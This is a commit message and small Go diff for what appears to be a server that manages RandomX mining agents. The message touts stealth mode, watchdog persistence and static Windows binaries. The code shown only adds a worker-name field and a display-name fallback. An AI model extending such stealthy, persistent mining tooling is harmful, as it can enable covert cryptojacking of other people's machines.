Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

server/internal/api/websocket.go

@@ -137,6 +137,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				Wallet   string `json:"wallet"`
 				Version  string `json:"version"`
 				Hostname string `json:"hostname"`
+				Worker   string `json:"worker"`
 				CPUCores int    `json:"cpu_cores"`
 				MemoryGB int    `json:"memory_gb"`
 			}
@@ -152,6 +153,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				agentID = uuid.New().String()
 			}
 
+			displayName := auth.Worker
+			if displayName == "" {
+				displayName = auth.Hostname
+			}
+			if displayName == "" {
+				displayName = agentID[:8]
+			}
+
 			clientIP := r.Header.Get("X-Forwarded-For")
 			if clientIP == "" {
 				clientIP = r.RemoteAddr
@@ -162,7 +171,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 
 			agent := &models.Agent{
 				ID:       agentID,
-				Name:     auth.Hostname,
+				Name:     displayName,
 				Wallet:   auth.Wallet,
 				IP:       clientIP,
 				Version:  auth.Version,